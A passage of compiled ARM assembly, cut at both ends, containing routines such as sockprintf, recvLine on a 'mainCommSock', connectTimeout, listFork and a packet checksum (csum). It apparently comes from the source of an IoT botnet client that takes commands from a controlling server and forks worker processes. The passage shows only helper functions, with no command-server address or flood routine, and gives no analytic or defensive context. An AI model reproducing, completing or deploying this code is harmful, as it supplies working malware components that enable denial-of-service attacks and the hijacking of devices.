	sub	r3, r2, r3
	mov	r2, r3
	ldr	r3, [fp, #-24]
	add	r3, r3, r2
	mov	r2, #0
	strb	r2, [r3]
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	trim, .-trim
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	printchar, %function
printchar:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	ldr	r3, [fp, #-8]
	cmp	r3, #0
	beq	.L49
	ldr	r2, [fp, #-12]
	ldr	r3, [fp, #-8]
	ldr	r3, [r3]
	and	r2, r2, #255
	strb	r2, [r3]
	ldr	r3, [fp, #-8]
	ldr	r3, [r3]
	add	r2, r3, #1
	ldr	r3, [fp, #-8]
	str	r2, [r3]
	b	.L51
.L49:
	sub	r3, fp, #12
	mov	r2, #1
	mov	r1, r3
	mov	r0, #1
	bl	write
.L51:
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	printchar, .-printchar
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	prints, %function
prints:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, fp, lr}
	add	fp, sp, #20
	sub	sp, sp, #16
	str	r0, [fp, #-24]
	str	r1, [fp, #-28]
	str	r2, [fp, #-32]
	str	r3, [fp, #-36]
	mov	r4, #0
	mov	r7, #32
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	ble	.L53
	mov	r5, #0
	ldr	r6, [fp, #-28]
	b	.L54
.L55:
	add	r5, r5, #1
	add	r6, r6, #1
.L54:
	ldrb	r3, [r6]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L55
	ldr	r3, [fp, #-32]
	cmp	r5, r3
	blt	.L56
	mov	r3, #0
	str	r3, [fp, #-32]
	b	.L57
.L56:
	ldr	r3, [fp, #-32]
	sub	r3, r3, r5
	str	r3, [fp, #-32]
.L57:
	ldr	r3, [fp, #-36]
	and	r3, r3, #2
	cmp	r3, #0
	beq	.L53
	mov	r7, #48
.L53:
	ldr	r3, [fp, #-36]
	and	r3, r3, #1
	cmp	r3, #0
	bne	.L61
	b	.L59
.L60:
	mov	r1, r7
	ldr	r0, [fp, #-24]
	bl	printchar
	add	r4, r4, #1
	ldr	r3, [fp, #-32]
	sub	r3, r3, #1
	str	r3, [fp, #-32]
.L59:
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	bgt	.L60
	b	.L61
.L62:
	ldr	r3, [fp, #-28]
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r1, r3
	ldr	r0, [fp, #-24]
	bl	printchar
	add	r4, r4, #1
	ldr	r3, [fp, #-28]
	add	r3, r3, #1
	str	r3, [fp, #-28]
.L61:
	ldr	r3, [fp, #-28]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L62
	b	.L63
.L64:
	mov	r1, r7
	ldr	r0, [fp, #-24]
	bl	printchar
	add	r4, r4, #1
	ldr	r3, [fp, #-32]
	sub	r3, r3, #1
	str	r3, [fp, #-32]
.L63:
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	bgt	.L64
	mov	r3, r4
	mov	r0, r3
	sub	sp, fp, #20
	@ sp needed
	pop	{r4, r5, r6, r7, fp, pc}
	.size	prints, .-prints
	.global	__aeabi_uidivmod
	.global	__aeabi_uidiv
	.section	.rodata
	.align	2
.LC15:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	printi, %function
printi:
	@ args = 12, pretend = 0, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, fp, lr}
	add	fp, sp, #24
	sub	sp, sp, #36
	str	r0, [fp, #-48]
	str	r1, [fp, #-52]
	str	r2, [fp, #-56]
	str	r3, [fp, #-60]
	ldr	r3, .L77
	ldr	r3, [r3]
	str	r3, [fp, #-32]
	mov	r3,#0
	mov	r8, #0
	mov	r7, #0
	ldr	r6, [fp, #-52]
	ldr	r3, [fp, #-52]
	cmp	r3, #0
	bne	.L67
	mov	r3, #48
	strb	r3, [fp, #-44]
	mov	r3, #0
	strb	r3, [fp, #-43]
	sub	r1, fp, #44
	ldr	r3, [fp, #8]
	ldr	r2, [fp, #4]
	ldr	r0, [fp, #-48]
	bl	prints
	mov	r3, r0
	b	.L75
.L67:
	ldr	r3, [fp, #-60]
	cmp	r3, #0
	beq	.L69
	ldr	r3, [fp, #-56]
	cmp	r3, #10
	bne	.L69
	ldr	r3, [fp, #-52]
	cmp	r3, #0
	bge	.L69
	mov	r8, #1
	ldr	r3, [fp, #-52]
	rsb	r3, r3, #0
	mov	r6, r3
.L69:
	sub	r4, fp, #44
	add	r4, r4, #11
	mov	r3, #0
	strb	r3, [r4]
	b	.L70
.L72:
	ldr	r3, [fp, #-56]
	mov	r1, r3
	mov	r0, r6
	bl	__aeabi_uidivmod
	mov	r3, r1
	mov	r5, r3
	cmp	r5, #9
	ble	.L71
	ldr	r3, [fp, #12]
	sub	r3, r3, #58
	add	r5, r5, r3
.L71:
	and	r3, r5, #255
	sub	r4, r4, #1
	add	r3, r3, #48
	and	r3, r3, #255
	strb	r3, [r4]
	ldr	r3, [fp, #-56]
	mov	r1, r3
	mov	r0, r6
	bl	__aeabi_uidiv
	mov	r3, r0
	mov	r6, r3
.L70:
	cmp	r6, #0
	bne	.L72
	cmp	r8, #0
	beq	.L73
	ldr	r3, [fp, #4]
	cmp	r3, #0
	beq	.L74
	ldr	r3, [fp, #8]
	and	r3, r3, #2
	cmp	r3, #0
	beq	.L74
	mov	r1, #45
	ldr	r0, [fp, #-48]
	bl	printchar
	add	r7, r7, #1
	ldr	r3, [fp, #4]
	sub	r3, r3, #1
	str	r3, [fp, #4]
	b	.L73
.L74:
	sub	r4, r4, #1
	mov	r3, #45
	strb	r3, [r4]
.L73:
	ldr	r3, [fp, #8]
	ldr	r2, [fp, #4]
	mov	r1, r4
	ldr	r0, [fp, #-48]
	bl	prints
	mov	r3, r0
	add	r3, r7, r3
.L75:
	ldr	r2, .L77
	ldr	r1, [r2]
	ldr	r2, [fp, #-32]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L76
	bl	__stack_chk_fail
.L76:
	mov	r0, r3
	sub	sp, fp, #24
	@ sp needed
	pop	{r4, r5, r6, r7, r8, fp, pc}
.L78:
	.align	2
.L77:
	.word	.LC15
	.size	printi, .-printi
	.section	.rodata
	.align	2
.LC16:
	.ascii	"(null)\000"
	.align	2
.LC17:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	print, %function
print:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, fp, lr}
	add	fp, sp, #20
	sub	sp, sp, #40
	str	r0, [fp, #-32]
	str	r1, [fp, #-36]
	str	r2, [fp, #-40]
	ldr	r3, .L106
	ldr	r3, [r3]
	str	r3, [fp, #-24]
	mov	r3,#0
	mov	r4, #0
	b	.L80
.L99:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #37
	bne	.L103
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
	mov	r6, #0
	mov	r5, r6
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	beq	.L104
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #37
	beq	.L105
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #45
	bne	.L86
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
	mov	r6, #1
	b	.L86
.L87:
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
	orr	r6, r6, #2
.L86:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #48
	beq	.L87
	b	.L88
.L90:
	mov	r3, r5
	lsl	r3, r3, #2
	add	r3, r3, r5
	lsl	r3, r3, #1
	mov	r5, r3
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	sub	r3, r3, #48
	add	r5, r5, r3
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
.L88:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #47
	bls	.L89
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #57
	bls	.L90
.L89:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #115
	bne	.L91
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r3, [r3]
	mov	r7, r3
	cmp	r7, #0
	beq	.L92
	mov	r1, r7
	b	.L93
.L92:
	ldr	r1, .L106+4
.L93:
	mov	r3, r6
	mov	r2, r5
	ldr	r0, [fp, #-32]
	bl	prints
	mov	r3, r0
	add	r4, r4, r3
	b	.L94
.L91:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #100
	bne	.L95
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r1, [r3]
	mov	r3, #97
	str	r3, [sp, #8]
	str	r6, [sp, #4]
	str	r5, [sp]
	mov	r3, #1
	mov	r2, #10
	ldr	r0, [fp, #-32]
	bl	printi
	mov	r3, r0
	add	r4, r4, r3
	b	.L94
.L95:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #120
	bne	.L96
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r1, [r3]
	mov	r3, #97
	str	r3, [sp, #8]
	str	r6, [sp, #4]
	str	r5, [sp]
	mov	r3, #0
	mov	r2, #16
	ldr	r0, [fp, #-32]
	bl	printi
	mov	r3, r0
	add	r4, r4, r3
	b	.L94
.L96:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #88
	bne	.L97
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r1, [r3]
	mov	r3, #65
	str	r3, [sp, #8]
	str	r6, [sp, #4]
	str	r5, [sp]
	mov	r3, #0
	mov	r2, #16
	ldr	r0, [fp, #-32]
	bl	printi
	mov	r3, r0
	add	r4, r4, r3
	b	.L94
.L97:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #117
	bne	.L98
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r1, [r3]
	mov	r3, #97
	str	r3, [sp, #8]
	str	r6, [sp, #4]
	str	r5, [sp]
	mov	r3, #0
	mov	r2, #10
	ldr	r0, [fp, #-32]
	bl	printi
	mov	r3, r0
	add	r4, r4, r3
	b	.L94
.L98:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #99
	bne	.L94
	ldr	r3, [fp, #-40]
	add	r2, r3, #4
	str	r2, [fp, #-40]
	ldr	r3, [r3]
	and	r3, r3, #255
	strb	r3, [fp, #-28]
	mov	r3, #0
	strb	r3, [fp, #-27]
	sub	r1, fp, #28
	mov	r3, r6
	mov	r2, r5
	ldr	r0, [fp, #-32]
	bl	prints
	mov	r3, r0
	add	r4, r4, r3
	b	.L94
.L103:
	nop
	b	.L81
.L105:
	nop
.L81:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r1, r3
	ldr	r0, [fp, #-32]
	bl	printchar
	add	r4, r4, #1
.L94:
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
.L80:
	ldr	r3, [fp, #-36]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L99
	b	.L83
.L104:
	nop
.L83:
	ldr	r3, [fp, #-32]
	cmp	r3, #0
	beq	.L100
	ldr	r3, [fp, #-32]
	ldr	r3, [r3]
	mov	r2, #0
	strb	r2, [r3]
.L100:
	mov	r3, r4
	ldr	r2, .L106
	ldr	r1, [r2]
	ldr	r2, [fp, #-24]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L102
	bl	__stack_chk_fail
.L102:
	mov	r0, r3
	sub	sp, fp, #20
	@ sp needed
	pop	{r4, r5, r6, r7, fp, pc}
.L107:
	.align	2
.L106:
	.word	.LC17
	.word	.LC16
	.size	print, .-print
	.section	.rodata
	.align	2
.LC18:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	sockprintf
	.syntax unified
	.arm
	.fpu softvfp
	.type	sockprintf, %function
sockprintf:
	@ args = 4, pretend = 12, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 1
	push	{r1, r2, r3}
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #36
	str	r0, [fp, #-36]
	ldr	r3, [fp, #4]
	str	r3, [fp, #-40]
	ldr	r3, .L111
	ldr	r3, [r3]
	str	r3, [fp, #-12]
	mov	r3,#0
	mov	r0, #2048
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-28]
	ldr	r3, [fp, #-28]
	mov	r2, #2048
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r3, [fp, #-28]
	str	r3, [fp, #-20]
	add	r3, fp, #8
	str	r3, [fp, #-24]
	sub	r3, fp, #28
	ldr	r2, [fp, #-24]
	ldr	r1, [fp, #-40]
	mov	r0, r3
	bl	print
	ldr	r0, [fp, #-20]
	bl	strlen
	mov	r2, r0
	ldr	r3, [fp, #-20]
	add	r3, r3, r2
	mov	r2, #10
	strb	r2, [r3]
	ldr	r0, [fp, #-20]
	bl	strlen
	mov	r2, r0
	mov	r3, #16384
	ldr	r1, [fp, #-20]
	ldr	r0, [fp, #-36]
	bl	send
	str	r0, [fp, #-16]
	ldr	r0, [fp, #-20]
	bl	free
	ldr	r3, [fp, #-16]
	ldr	r2, .L111
	ldr	r1, [r2]
	ldr	r2, [fp, #-12]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L110
	bl	__stack_chk_fail
.L110:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, lr}
	add	sp, sp, #12
	bx	lr
.L112:
	.align	2
.L111:
	.word	.LC18
	.size	sockprintf, .-sockprintf
	.align	2
	.global	getHost
	.syntax unified
	.arm
	.fpu softvfp
	.type	getHost, %function
getHost:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	ldr	r0, [fp, #-8]
	bl	inet_addr
	mov	r2, r0
	ldr	r3, [fp, #-12]
	str	r2, [r3]
	ldr	r3, [fp, #-12]
	ldr	r3, [r3]
	cmn	r3, #1
	bne	.L114
	mov	r3, #1
	b	.L115
.L114:
	mov	r3, #0
.L115:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	getHost, .-getHost
	.align	2
	.global	makeRandomStr
	.syntax unified
	.arm
	.fpu softvfp
	.type	makeRandomStr, %function
makeRandomStr:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	mov	r3, #0
	str	r3, [fp, #-8]
	mov	r3, #0
	str	r3, [fp, #-8]
	b	.L117
.L118:
	bl	rand_cmwc
	mov	r1, r0
	ldr	r3, .L119
	umull	r2, r3, r1, r3
	lsr	r2, r3, #3
	mov	r3, r2
	lsl	r3, r3, #1
	add	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r3, r2
	lsl	r3, r3, #1
	sub	r2, r1, r3
	and	r2, r2, #255
	ldr	r3, [fp, #-8]
	ldr	r1, [fp, #-16]
	add	r3, r1, r3
	add	r2, r2, #65
	and	r2, r2, #255
	strb	r2, [r3]
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	str	r3, [fp, #-8]
.L117:
	ldr	r2, [fp, #-8]
	ldr	r3, [fp, #-20]
	cmp	r2, r3
	blt	.L118
	nop
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L120:
	.align	2
.L119:
	.word	1321528399
	.size	makeRandomStr, .-makeRandomStr
	.section	.rodata
	.align	2
.LC19:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	recvLine
	.syntax unified
	.arm
	.fpu softvfp
	.type	recvLine, %function
recvLine:
	@ args = 0, pretend = 0, frame = 192
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #200
	str	r0, [fp, #-184]
	str	r1, [fp, #-188]
	str	r2, [fp, #-192]
	ldr	r3, .L140
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-192]
	mov	r2, r3
	mov	r1, #0
	ldr	r0, [fp, #-188]
	bl	memset
	mov	r3, #30
	str	r3, [fp, #-144]
	mov	r3, #0
	str	r3, [fp, #-140]
	sub	r3, fp, #136
	str	r3, [fp, #-156]
	mov	r3, #0
	str	r3, [fp, #-176]
	b	.L122
.L123:
	ldr	r3, [fp, #-156]
	ldr	r2, [fp, #-176]
	mov	r1, #0
	str	r1, [r3, r2, lsl #2]
	ldr	r3, [fp, #-176]
	add	r3, r3, #1
	str	r3, [fp, #-176]
.L122:
	ldr	r3, [fp, #-176]
	cmp	r3, #31
	bls	.L123
	ldr	r3, [fp, #-184]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	mov	r2, r3
	lsl	r3, r2, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	ldr	r1, [r3, #-132]
	ldr	r3, [fp, #-184]
	rsbs	r0, r3, #0
	and	r3, r3, #31
	and	r0, r0, #31
	rsbpl	r3, r0, #0
	mov	r0, #1
	lsl	r3, r0, r3
	orr	r1, r1, r3
	lsl	r3, r2, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	str	r1, [r3, #-132]
	ldr	r3, [fp, #-184]
	add	r0, r3, #1
	sub	r2, fp, #136
	sub	r1, fp, #136
	sub	r3, fp, #144
	str	r3, [sp]
	mov	r3, r2
	mov	r2, #0
	bl	select
	str	r0, [fp, #-152]
	ldr	r3, [fp, #-152]
	cmp	r3, #0
	bgt	.L124
	b	.L125
.L129:
	mov	r3, #30
	str	r3, [fp, #-144]
	mov	r3, #0
	str	r3, [fp, #-140]
	sub	r3, fp, #136
	str	r3, [fp, #-148]
	mov	r3, #0
	str	r3, [fp, #-168]
	b	.L126
.L127:
	ldr	r3, [fp, #-148]
	ldr	r2, [fp, #-168]
	mov	r1, #0
	str	r1, [r3, r2, lsl #2]
	ldr	r3, [fp, #-168]
	add	r3, r3, #1
	str	r3, [fp, #-168]
.L126:
	ldr	r3, [fp, #-168]
	cmp	r3, #31
	bls	.L127
	ldr	r3, [fp, #-184]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	mov	r2, r3
	lsl	r3, r2, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	ldr	r1, [r3, #-132]
	ldr	r3, [fp, #-184]
	rsbs	r0, r3, #0
	and	r3, r3, #31
	and	r0, r0, #31
	rsbpl	r3, r0, #0
	mov	r0, #1
	lsl	r3, r0, r3
	orr	r1, r1, r3
	lsl	r3, r2, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	str	r1, [r3, #-132]
	ldr	r3, [fp, #-184]
	add	r0, r3, #1
	sub	r2, fp, #136
	sub	r1, fp, #136
	sub	r3, fp, #144
	str	r3, [sp]
	mov	r3, r2
	mov	r2, #0
	bl	select
	str	r0, [fp, #-152]
	ldr	r3, [fp, #-152]
	cmp	r3, #0
	bgt	.L138
	ldr	r3, [fp, #-172]
	add	r3, r3, #1
	str	r3, [fp, #-172]
	nop
.L125:
	ldr	r3, [fp, #-172]
	cmp	r3, #9
	ble	.L129
	b	.L124
.L138:
	nop
.L124:
	mov	r3, #0
	str	r3, [fp, #-160]
	ldr	r3, [fp, #-188]
	str	r3, [fp, #-164]
	b	.L130
.L135:
	ldr	r3, .L140+4
	ldr	r0, [r3]
	sub	r1, fp, #177
	mov	r3, #0
	mov	r2, #1
	bl	recv
	mov	r3, r0
	cmp	r3, #1
	beq	.L131
	ldr	r3, [fp, #-164]
	mov	r2, #0
	strb	r2, [r3]
	mvn	r3, #0
	b	.L136
.L131:
	ldr	r3, [fp, #-164]
	add	r2, r3, #1
	str	r2, [fp, #-164]
	ldrb	r2, [fp, #-177]	@ zero_extendqisi2
	strb	r2, [r3]
	ldrb	r3, [fp, #-177]	@ zero_extendqisi2
	cmp	r3, #10
	beq	.L139
	ldr	r3, [fp, #-160]
	add	r3, r3, #1
	str	r3, [fp, #-160]
.L130:
	ldr	r3, [fp, #-192]
	sub	r2, r3, #1
	str	r2, [fp, #-192]
	cmp	r3, #1
	bgt	.L135
	b	.L134
.L139:
	nop
.L134:
	ldr	r3, [fp, #-164]
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-160]
.L136:
	ldr	r2, .L140
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L137
	bl	__stack_chk_fail
.L137:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L141:
	.align	2
.L140:
	.word	.LC19
	.word	mainCommSock
	.size	recvLine, .-recvLine
	.section	.rodata
	.align	2
.LC20:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	connectTimeout
	.syntax unified
	.arm
	.fpu softvfp
	.type	connectTimeout, %function
connectTimeout:
	@ args = 0, pretend = 0, frame = 200
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #208
	str	r0, [fp, #-192]
	str	r1, [fp, #-196]
	str	r2, [fp, #-200]
	str	r3, [fp, #-204]
	ldr	r3, .L152
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r2, #0
	mov	r1, #3
	ldr	r0, [fp, #-192]
	bl	fcntl
	str	r0, [fp, #-172]
	ldr	r3, [fp, #-172]
	orr	r3, r3, #2048
	str	r3, [fp, #-172]
	ldr	r2, [fp, #-172]
	mov	r1, #4
	ldr	r0, [fp, #-192]
	bl	fcntl
	mov	r3, #2
	strh	r3, [fp, #-152]	@ movhi
	ldr	r3, [fp, #-200]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-150]	@ movhi
	sub	r3, fp, #152
	add	r3, r3, #4
	mov	r1, r3
	ldr	r0, [fp, #-196]
	bl	getHost
	mov	r3, r0
	cmp	r3, #0
	beq	.L143
	mov	r3, #0
	b	.L150
.L143:
	sub	r3, fp, #152
	add	r3, r3, #8
	mov	r2, #8
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #152
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-192]
	bl	connect
	str	r0, [fp, #-168]
	ldr	r3, [fp, #-168]
	cmp	r3, #0
	bge	.L145
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	cmp	r3, #115
	bne	.L146
	ldr	r3, [fp, #-204]
	str	r3, [fp, #-160]
	mov	r3, #0
	str	r3, [fp, #-156]
	sub	r3, fp, #136
	str	r3, [fp, #-164]
	mov	r3, #0
	str	r3, [fp, #-176]
	b	.L147
.L148:
	ldr	r3, [fp, #-164]
	ldr	r2, [fp, #-176]
	mov	r1, #0
	str	r1, [r3, r2, lsl #2]
	ldr	r3, [fp, #-176]
	add	r3, r3, #1
	str	r3, [fp, #-176]
.L147:
	ldr	r3, [fp, #-176]
	cmp	r3, #31
	bls	.L148
	ldr	r3, [fp, #-192]
	add	r2, r3, #31
	cmp	r3, #0
	movlt	r3, r2
	movge	r3, r3
	asr	r3, r3, #5
	mov	r2, r3
	lsl	r3, r2, #2
	sub	r1, fp, #4
	add	r3, r1, r3
	ldr	r1, [r3, #-132]
	ldr	r3, [fp, #-192]
	rsbs	r0, r3, #0
	and	r3, r3, #31
	and	r0, r0, #31
	rsbpl	r3, r0, #0
	mov	r0, #1
	lsl	r3, r0, r3
	orr	r1, r1, r3
	lsl	r3, r2, #2
	sub	r2, fp, #4
	add	r3, r2, r3
	str	r1, [r3, #-132]
	ldr	r3, [fp, #-192]
	add	r0, r3, #1
	sub	r2, fp, #136
	sub	r3, fp, #160
	str	r3, [sp]
	mov	r3, #0
	mov	r1, #0
	bl	select
	mov	r3, r0
	cmp	r3, #0
	ble	.L149
	mov	r3, #4
	str	r3, [fp, #-184]
	sub	r2, fp, #180
	sub	r3, fp, #184
	str	r3, [sp]
	mov	r3, r2
	mov	r2, #4
	mov	r1, #1
	ldr	r0, [fp, #-192]
	bl	getsockopt
	ldr	r3, [fp, #-180]
	cmp	r3, #0
	beq	.L145
	mov	r3, #0
	b	.L150
.L149:
	mov	r3, #0
	b	.L150
.L146:
	mov	r3, #0
	b	.L150
.L145:
	mov	r2, #0
	mov	r1, #3
	ldr	r0, [fp, #-192]
	bl	fcntl
	str	r0, [fp, #-172]
	ldr	r3, [fp, #-172]
	bic	r3, r3, #2048
	str	r3, [fp, #-172]
	ldr	r2, [fp, #-172]
	mov	r1, #4
	ldr	r0, [fp, #-192]
	bl	fcntl
	mov	r3, #1
.L150:
	ldr	r2, .L152
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L151
	bl	__stack_chk_fail
.L151:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L153:
	.align	2
.L152:
	.word	.LC20
	.size	connectTimeout, .-connectTimeout
	.align	2
	.global	listFork
	.syntax unified
	.arm
	.fpu softvfp
	.type	listFork, %function
listFork:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, fp, lr}
	add	fp, sp, #28
	sub	sp, sp, #16
	bl	fork
	mov	r3, r0
	str	r3, [fp, #-36]
	ldr	r3, [fp, #-36]
	cmp	r3, #0
	bne	.L155
	ldr	r3, [fp, #-36]
	b	.L156
.L155:
	ldr	r3, .L159
	ldmia	r3, {r2-r3}
	adds	r6, r2, #1
	adc	r7, r3, #0
	ldr	r3, .L159
	stm	r3, {r6-r7}
	ldr	r3, .L159
	ldmia	r3, {r2-r3}
	adds	r8, r2, #1
	adc	r9, r3, #0
	mov	r3, r8
	lsl	r3, r3, #2
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-32]
	mov	r3, #0
	str	r3, [fp, #-40]
	b	.L157
.L158:
	ldr	r3, .L159+4
	ldr	r2, [r3]
	ldr	r3, [fp, #-40]
	lsl	r3, r3, #2
	add	r2, r2, r3
	ldr	r3, [fp, #-40]
	lsl	r3, r3, #2
	ldr	r1, [fp, #-32]
	add	r3, r1, r3
	ldr	r2, [r2]
	str	r2, [r3]
	ldr	r3, [fp, #-40]
	add	r3, r3, #1
	str	r3, [fp, #-40]
.L157:
	ldr	r3, [fp, #-40]
	mov	r0, r3
	mov	r1, #0
	ldr	r3, .L159
	ldmia	r3, {r2-r3}
	subs	r4, r2, #1
	sbc	r5, r3, #0
	cmp	r1, r5
	cmpeq	r0, r4
	bcc	.L158
	ldr	r3, .L159
	ldmia	r3, {r2-r3}
	mov	r3, r2
	sub	r3, r3, #1
	lsl	r3, r3, #2
	ldr	r2, [fp, #-32]
	add	r3, r2, r3
	ldr	r2, [fp, #-36]
	str	r2, [r3]
	ldr	r3, .L159+4
	ldr	r3, [r3]
	mov	r0, r3
	bl	free
	ldr	r2, .L159+4
	ldr	r3, [fp, #-32]
	str	r3, [r2]
	ldr	r3, [fp, #-36]
.L156:
	mov	r0, r3
	sub	sp, fp, #28
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, fp, pc}
.L160:
	.align	2
.L159:
	.word	numpids
	.word	pids
	.size	listFork, .-listFork
	.align	2
	.global	csum
	.syntax unified
	.arm
	.fpu softvfp
	.type	csum, %function
csum:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	push	{r4, r5, r6, r7, fp}
	add	fp, sp, #16
	sub	sp, sp, #12
	str	r0, [fp, #-24]
	str	r1, [fp, #-28]
	mov	r4, #0
	mov	r5, #0
	b	.L162
.L163:
	ldr	r3, [fp, #-24]
	add	r2, r3, #2
	str	r2, [fp, #-24]
	ldrh	r1, [r3]
	mov	r3, r1
	mov	r2, r3
	mov	r3, #0
	adds	r4, r4, r2
	adc	r5, r5, r3
	ldr	r3, [fp, #-28]
	sub	r3, r3, #2
	str	r3, [fp, #-28]
.L162:
	ldr	r3, [fp, #-28]
	cmp	r3, #1
	bgt	.L163
	ldr	r3, [fp, #-28]
	cmp	r3, #0
	ble	.L165
	ldr	r3, [fp, #-24]
	ldrb	r3, [r3]	@ zero_extendqisi2
